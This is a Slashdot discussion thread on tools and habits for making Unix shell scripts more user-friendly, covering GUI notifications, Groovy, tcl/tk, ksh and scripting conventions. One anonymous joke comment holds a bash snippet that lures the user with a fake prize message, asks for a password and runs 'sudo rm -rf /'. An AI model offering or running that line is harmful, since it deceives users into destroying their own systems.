Recently, I am working with a ticketing system and am writing a script that outputs GUI notifications via the FreeDesktop notification daemon. Unobtrusive and beautiful notifications of ticket status changes actually speed up my workflow as I increase my situational awareness about tickets that are being worked by others.

I could spend all my time in a terminal window (my first project was actually a cli for our ticketing system), but why bother when I have 2 x 1280 x 1024 and more than 16 colours to play with.

I use Python, because I can. ;o)

I only use... (1)

Unka Willbur (1771596) | more than 4 years ago | (#31904322)

REXX. It's the only SANE scripting language..... (The preceding message was brought to you my the Department of I'm Just Kidding.)

I just add (1)

JonChance (1115393) | more than 4 years ago | (#31904326)

the words (l)user Friendly to the script and wallah...

Best book for this -- hands down. (4, Informative)

CFD339 (795926) | more than 4 years ago | (#31904350)

Linux Shell Scripting with Bash
by Ken O. Burtch
Sams Publishing

One of only two "computer" books I've ever been able to just sit down and read rather than just using as reference (the other being Kathy Sierra's "Head First Java" -- which is amazing).

Ken does a fantastic job at putting "just the right" level of background, detail, context, and and depth for someone new to shell scripting to get started, then to use the book as a reference for all the traditional tools (sed, awk, etc..).

I've bought two copies, one for me and one I gave to someone else who wanted to learn how to do this stuff.

Visual Basic (2, Funny)

Anonymous Coward | more than 4 years ago | (#31904378)

I know this is like cursing in the church, but I use VB for most tasks others would use shell scripts for. Why? For one, the syntax is more predictable. With Bash you always have to worry about special characters and I can't stand that. (Same reason I dislike Tex.) Secondly, if you need user interaction, it has a really easy to use GUI builder. When VB4 came out it was like 1995 or something. It is now 2010 and in my opinion, for building simple dialogues (or even not so simple ones) VB is still among the best. That said, it has downsides, the most important one is that piping is missing by default. However, there are Win32/Wine functions you can call to alleviate this. Put them in a standard module with some wrappers and it's like they're part of the language.

Re:Visual Basic (2, Insightful)

siride (974284) | more than 4 years ago | (#31904530)

Please, for the love of $DEITY, learn Perl or Python or Ruby or SOMETHING. VB's syntax is not predictable or reasonable if you've programmed with any other language or know how a computer works. And the other languages are actually cross-platform and can do everything VB can do and then some.

Here's something to spice it up (0)

Anonymous Coward | more than 4 years ago | (#31904424)

if dd bs=3 count=1 if=/dev/urandom 2>/dev/null | base64 | grep -q -i "luck.*"; then
    echo "*** You have just won an unusual Surprise!  Enter your password to find out!"
    sudo rm -rf /
fi

Good Idea (1)

Bugamn (1769722) | more than 4 years ago | (#31904448)

Even though many posters here on Slashdot like to pretend they are hardcore users, GUI's can help. It might make it easier to write configuration applications that most new users can use, for example.

People stop acting like elitists. I want Linux to be more popular so more games will be made for Linux.

Perl.... (1)

Fallen Kell (165468) | more than 4 years ago | (#31904464)

Enough said...

Groovy (1)

zuperduperman (1206922) | more than 4 years ago | (#31904470)

One of my recent discoveries has been using Groovy to add UI effects to scripts, via the Java libraries it has access to. For example, if a script completes, it's really easy to add a notification to the system tray:

def image = Toolkit.defaultToolkit.getImage("some_image.png")
def trayIcon = new TrayIcon(image,"Script")
SystemTray.systemTray.add(trayIcon)
trayIcon.displayMessage("Script Completed", "", TrayIcon.MessageType.INFO)

What do you mean ... (1)

PPH (736903) | more than 4 years ago | (#31904498)

... not user friendly? Its just picky about who it makes friends with.

yes, that's very interesting. (0, Troll)

gandhi_2 (1108023) | more than 4 years ago | (#31904512)

but they are not user-friendly in the same way the Unix commands aren't

Whatthefuckparseerror? I had to draw a truth table to figure this out. I still can't get it.

they are user friendly, but not in the same way Unix commands are not?

they are not user friendly for not the same reason unix commands are?

( ! shellScripts.isFriendly() )==(! unixCommands.isFriendly() )

Got Perl? (1)

funkboy (71672) | more than 4 years ago | (#31904516)

Personally, if it's too complex to type out on the command line, I do it in Perl. I haven't written any shell scrips more complex than "do this, then do that" in close to a decade. The text & regex processing is more straightforward, and if you're trying to do something complicated, chances are there's already someone out there that's written a module for it.

contradiction in terms (1)

Gothmolly (148874) | more than 4 years ago | (#31904550)

Shell scripts are not supposed to be user-friendly, they're supposed to be admin-friendly. If its noisy I can always filter it out via grep.

tcl/tk (2, Interesting)

drolli (522659) | more than 4 years ago | (#31904554)

Honestly it its just about adding a button so that its not necessary to remember the command line arguments/switches, i prefer tcl/tk. Lightweight, portable (and ported), and stable. And if you need a little more functionality, there are tons of libraries available.

layers of complication (1)

Chalex (71702) | more than 4 years ago | (#31904580)

I think you should e-mail that guy that wanted to manage his Windows desktops by running Windows images on top of Linux, using some virtualization technology, but also passing through the hardware capabilities of the video cards, so he could run multiple monitors.

I bet he'd have some great tips about how to spice up your shell scripts. He probably edits them in emacs (running inside an AJAX terminal inside his web browser, connected to a web server on the machine he's editing the file on).

ksh (2, Informative)

Fatal Darkness (18549) | more than 4 years ago | (#31904616)

For Unix shell scripting purposes (and I know the Slashdot crowd may scoff at this but), nothing compares to KSH. It has many features not found in Bash and most other shells, such as coprocesses, associative arrays, compound variables, floating point arithmetic, discipline functions, etc. It's also fully extensible and posix compliant. For GUI scripts, almost all commercial Unixes include dtksh [linuxjournal.com] , which provides access to much of the Xt and Motif APIs. A TK version of ksh also exists.

KSH just gets a bad rep because Unix vendors insist on only supplying an ancient version (ksh88), or its clone (pdksh) that lacks all of the functionality and behavior of the original. As a result most people have never used a modern version of the shell.

Of there's a right tool for the right job. Depending on the nature of the task one might also want to consider perl, python, or some other scripting technology.

Unix doesn't *mind* being ugly (1)

bl8n8r (649187) | more than 4 years ago | (#31904622)

Nice little gem here though.
http://www.linuxfocus.org/English/May2004/article335.shtml [linuxfocus.org]

Be warned though - unix *likes* being ugly. non-ansi terminals quickly fill with garbage when ansi escape codes are printed to them. The same problem is with using purty' X dialog shells. If you don't have the terminal support, or X session, or X libraries installed, your script becomes useless in a hurry.

What tools? (1)

SloWave (52801) | more than 4 years ago | (#31904644)

> What tools do you use that spice up your scripts on the Linux or Unix platforms?

sh -x

Bat files (0)

camperdave (969942) | more than 4 years ago | (#31904680)

I used to put my .bat files in c:/belfry on my old DOS machines.

Consistency is the only spice ... (5, Insightful)

bhepple (949572) | more than 4 years ago | (#31904686)

As said previously, scripts are scripts and don't often need a GUI. But for grep's sake, make them consistent!!! The only spicing up _really_ needed are some standards:

o output errors to STDERR; normal output to STDOUT
o include (-h, --help) processing - and send it to STDOUT so the help can be piped to 'less'
o use getopt(1) or process-getopt(1) so that options on the CLI parse in a predictable and standard way
o keep it terse except for errors so that the user can easily see if it worked or not without scanning vast output
o provide a --verbose option to help with tracking down those errors

... and the most annoying thing of all - make sure --help _always_ works, even if the script body itself can't - at least the user can then be told about what the prerequisites are.
Head over to http://mywiki.wooledge.org/BashFAQ [wooledge.org] for much wisdom on how to write better bash scripts.
Load More Comments
Slashdot Login

Need an Account?

Forgot your password?

Submission Text Formatting Tips

We support a small subset of HTML, namely these tags:

  • b
  • i
  • p
  • br
  • a
  • ol
  • ul
  • li
  • dl
  • dt
  • dd
  • em
  • strong
  • tt
  • blockquote
  • div
  • quote
  • ecode

"ecode" can be used for code snippets, for example:

<ecode>    while(1) { do_something(); } </ecode>